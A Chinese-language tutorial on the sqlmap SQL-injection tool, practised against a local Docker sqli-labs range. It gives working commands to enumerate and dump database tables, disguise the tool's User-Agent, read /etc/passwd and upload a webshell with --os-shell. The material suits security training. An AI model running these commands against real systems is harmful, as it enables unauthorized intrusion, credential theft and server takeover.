目录

SQLmap入门学习

# 关于sqlmap

sqlmap 是一款开源渗透测试工具,可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。

SQLmap官方文档SQLmap wiki (opens new window)

# sqlmap安装

kali自带了sqlmap,直接在终端输入sqlmap即可使用。

windows可以直接下载sqlmap (opens new window),解压后在终端进入sqlmap目录,输入python sqlmap.py,需要python环境。

# sqlmap常用参数

sqlmap参数 作用 用法
-h 帮助信息 sqlmap -h
-u 指定目标URL sqlmap -u "http://example.com/page.php?id=1"
-r 从文件中读取HTTP请求 sqlmap -r "request.txt"
-d 直接连接数据库(低版本mysql) sqlmap -d "mysql://user:pass@ip/database"
-D 指定数据库名 sqlmap -u "http://example.com/?id=1" -D dbname
-T 指定表名 sqlmap -u "http://example.com/?id=1" -D dbname -T tablename
-C 指定列名 sqlmap -u "http://example.com/?id=1" -D dbname -T tablename -C columnname
-p 指定测试参数 sqlmap -u "http://example.com/?id=1&page=2" -p id
-v 设置详细级别(0-6) sqlmap -u "http://example.com/?id=1" -v 3
--dbms 指定数据库类型 sqlmap -u "http://example.com/?id=1" --dbms=mysql
--dbs 枚举所有数据库 sqlmap -u "http://example.com/?id=1" --dbs
--current-db 获取当前数据库名 sqlmap -u "http://example.com/?id=1" --current-db
--tables 枚举数据库中的表 sqlmap -u "http://example.com/?id=1" -D dbname --tables
--columns 枚举表中的列 sqlmap -u "http://example.com/?id=1" -D dbname -T tablename --columns
--dump 导出表中数据 sqlmap -u "http://example.com/?id=1" -D dbname -T tablename --dump
--cookie 指定cookie值 sqlmap -u "http://example.com/" --cookie="PHPSESSID=value"
--data POST数据 sqlmap -u "http://example.com/login.php" --data="user=admin&pass=admin"
--level 设置检测级别(1-5) sqlmap -u "http://example.com/?id=1" --level=3
--risk 设置风险级别(1-3) sqlmap -u "http://example.com/?id=1" --risk=2
--batch 自动化探测,交互过程使用默认参数 sqlmap -u "http://example.com/?id=1" --batch
--flush-session 刷新会话数据 sqlmap -u "http://example.com/?id=1" --flush-session
--random-agent 随机User-Agent sqlmap -u "http://example.com/?id=1" --random-agent
--technique 指定SQL注入技术 sqlmap -u "http://example.com/?id=1" --technique=BEU
--hex 使用十六进制编码 sqlmap -u "http://example.com/?id=1" --hex
--file-read 读取服务器文件 sqlmap -u "http://example.com/?id=1" --file-read=/etc/passwd
--os-shell 获取交互式系统shell sqlmap -u "http://example.com/?id=1" --os-shell
--sql-shell 获取交互式SQL shell sqlmap -u "http://example.com/?id=1" --sql-shell
--time-sec 设置延时注入时间 sqlmap -u "http://example.com/?id=1" --technique=T --time-sec=10

一般是单字参数使用-,多字符参数使用--

# 靶场环境部署

使用docker部署一个sqli-labs靶场环境。

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8080:80 acgpiano/sqli-labs:latest
1
2

访问 http://ip:8080/ 即可进入靶场。

# sqlmap使用

开始前的建议:建议先尝试手注完成sqli-labs整个靶场,掌握基本的手注原理

# -u,-p,-v,--batch

进入less-1,这是一个GET请求方式的单引号类型sql注入点

-u     指定目标URL
-p     指定测试参数,如果待测试参数为get类型,且出现在-u的url中时,-p可以省略
-v     设置日志级别(0-6),默认使用-v 1,可以省略
--batch  自动化探测,交互过程使用默认参数

先尝试手注,发现是单引号类型,猜测后台语句

1

$sql = "SELECT * FROM users WHERE id = '$_GET[id]'";
1

使用sqlmap进行测试

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1"
1

sqlmap执行过程会出现交互过程,供用户选择参数,可以执行回车,使用默认参数

过程的交互提示类似:

# 检测到后台是mysql,是否跳过其他类型数据库的测试
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
# 是否跳过其他类型的注入测试
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
# 检测到GET参数'id'存在注入漏洞,是否跳过测试其他参数
# 也是关键提示,提示是否检测到当前参数存在sql注入漏洞
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
1
2
3
4
5
6
7

你也可以使用--batch参数,跳过交互过程,过程会全部使用默认参数。

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --batch
1

sqlmap的结尾有这样的内容,意思是,这个注入点可以使用联合注入,报错注入,时间盲注,布尔盲注四种方式

2

同时,末尾还给出了探测到的信息

[13:39:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.5
1
2
3
4

在上面的命令中,会识别使用默认的参数-p id-v 1,所以上面命令也等效于下面这个

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 1 --batch
1

小细节

sqlmap的特征?SQLmap在进行http请求时,UA头使用了User-Agent: sqlmap/1.9.3.2#dev (https://sqlmap.org)

# -v,--flush-session,--random-agent

觉得-v参数可以单独拿出来说说

0:仅显示 Python 回溯、错误和关键消息。
1:同时显示信息和警告消息,默认级别。
2:显示DEBUG 调试消息。
3:显示注入的payload。
4:显示详细 HTTP 请求。
5:显示 HTTP 响应的标头。
6:显示服务器 HTTP 响应的页面内容。

这里讲讲-v--flush-session--random-agent的使用

-v n   其中-v 2可以表示为-vv
--flush-session  刷新会话数据,清除之前的会话数据
--random-agent  随机User-Agent

由于上面已经对less-1进行了测试,sqlmap会有缓存文件,再测试这个站点时,会直接使用测试过的环境,这里为了验证这些参的作用,就先清除缓存

-v参数使用2级时,可以看到sqlmap测试时的细节,跳过了其他类型的数据库

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -vv --flush-session --batch
1

3

-v参数使用3级时,可以看到sqlmap测试过程使用的payload

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 3 --flush-session --batch
1

4

-v参数使用4级时,可以看到sqlmap测试过程使用的HTTP请求详细信息,其中ua头里的sqlmap字段算是特征

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 4 --flush-session --batch
1

5

-v参数使用5级时,可以看到sqlmap测试过程中,发送一个请求,返回一个响应的HTTP头信息

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 5 --flush-session --batch
1

6

-v参数使用6级时,可以看到sqlmap测试过程中,还返回了页面的内容

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 6 --flush-session --batch
1

7

使用--random-agent参数,可以随机生成一个User-Agent,避免被网站识别到是sqlmap的特征,使用-v 4,可以看到请求头中随机生成的User-Agent字段

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 4 --flush-session --random-agent --batch
1

8

# --dbs,--tables,--columns,--dump,-D,-T,-C

这里的参数在上面sqlmap探测出参数存在漏洞时,就可以指定这些参数,拿到数据库数据

--dbs  获取数据库列表
--tables  获取指定数据库的表列表
--columns  获取指定数据库指定表的列名
--dump  获取指定数据库指定表的列数据
-D  指定数据库
-T  指定表
-C  指定列

爆出所有数据库

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbs --flush-session --batch
1

9

使用-D参数指定数据库security,使用--tables参数获取表列表

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security --tables --flush-session --batch
1

10

使用-T参数指定users表,使用--columns参数获取列名

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security -T users --columns --flush-session --batch
1

11

使用--dump,脱出指定表的数据

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security -T users --dump --flush-session --batch
1

12

# --dbms,--technique,--no-cast,--hex

在最初,尝试手注测试时,可以看到报错是mysql,同时,页面存在可控的回显位

那么就可以通过指定--dbms参数,指定数据库类型为mysql,跳过其他数据库类型的检测,使用--technique参数,页面存在回显位,指定注入方式为联合注入

14

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch
1

sqlmap提示找到了注入点,给出了测试payload,但是后面说,在测试过程,没有拿到--dbs参数的结果,页面没有返回结果

但是可以使用--no-cast或者--hex参数,关闭mysql的类型转换或编码绕过。

15

通过把-v参数指定为6级,看看页面返回内容

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch -v 6
1

老版本 MySQL 没有自动字符集转换机制,sqlmap的payload不兼容,mysql报错。

<font color= "#FFFF00">Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION'</font></font> </div></br></br></br><center>
1

16

尝试使用--no-cast参数,关闭mysql的类型转换,拿到数据

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch --no-cast
1

17

尝试使用--hex参数,使用十六进制编码绕过,也可以拿到数据

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch --hex
1

18

technique参数还可以使用其他注入方式,B表示布尔盲注,E表示报错注入,T表示时间盲注

这道题比较简单,多种注入姿势都是可以的

速度排序:联合注入(U) > 报错注入(E) > 布尔盲注(B) > 时间盲注(T)

报错注入(E):

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=E --dbs --flush-session --batch
1

布尔盲注(B):

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=B --dbs --flush-session --batch
1

时间盲注(T):

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=T --dbs --flush-session --batch
1

# --forms,--data,-r

这里使用Less-11,这是一个POST请求方式的单引号类型sql注入点

--forms  自动检测表单注入点
--data   指定POST数据
--r      从抓到的http包中提取参数

使用--forms参数,把工作直接交给sqlmap,让sqlmap自己探测要提交的表单参数,指定探测参数uname、联合注入,hex编码结果

sqlmap -u "http://192.168.6.112:8080/Less-11/?id=1" --dbms=mysql --forms -p uname --dbs --technique=U --flush-session --batch --hex
1

使用--data参数,指定POST数据,使用-p参数指定探测参数uname,在windows平台怪怪的,&字符有特殊语义

sqlmap -u "http://192.168.6.112:8080/Less-11/?id=1" --dbms=mysql --data="passwd=1&submit=Submit&uname=1" -p uname --dbs --technique=U --flush-session --batch --hex
1

使用-r参数,从抓到的http包中提取参数,使用-p参数指定探测参数uname

先用burp抓个包,保存到一个txt文件里

21

复制文件的路径

22

使用sqlmap -r参数,指定抓包文件路径,使用-p参数指定探测参数uname

sqlmap -r "f:\\Desktop\\slq.txt" --dbms=mysql -p uname --dbs --technique=U --flush-session --batch --hex
1

23

# --file-read,--os-shell,--sql-shell,--output-dir

回到Less-1这一关演示。

--file-read  读取服务器文件(使用了mysql的load_file函数)
--os-shell   获得一个交互的shell(上传一个webshell,在结束命令执行时,删除自身)
--sql-shell  获得一个交互的sqlshell(可以执行sql语句)

使用--file-read参数,读取服务器文件

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --file-read=/etc/passwd --flush-session --batch
1

读取成功,使用了16进制进行了一次编码,同时保存了一份解码文件在本地的C盘用户目录下

24

可以使用--output-dir参数,指定输出目录在桌面,我的终端在桌面打开的,直接指定当前目录了

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --file-read=/etc/passwd --flush-session --batch --output-dir=./
1

25

尝试写入webshell,这个靶场有点问题,进入docker内,授权写权限

docker exec -it sqli-lab /bin/sh
chmod 777 -R /var/www/html/
1
2

使用--os-shell参数,获得一个交互的shell,

注意:这个过程会上传webshell,如果你需要手动指定目录时,不要使用--batch参数,如果是常见的/var/www/html/目录,sqlmap可以自动尝试上传到这个目录下

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --os-shell --flush-session --batch
1

退出这个webshell后,这个webshell会自动删除自身

26

使用--sql-shell参数,获得一个交互的sqlshell

sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --sql-shell --flush-session --batch
1

拿到了sqlshell,可以执行sql语句,当前是mysql的root用户

27

最后一次更新于: 2025/05/27, 22:17:52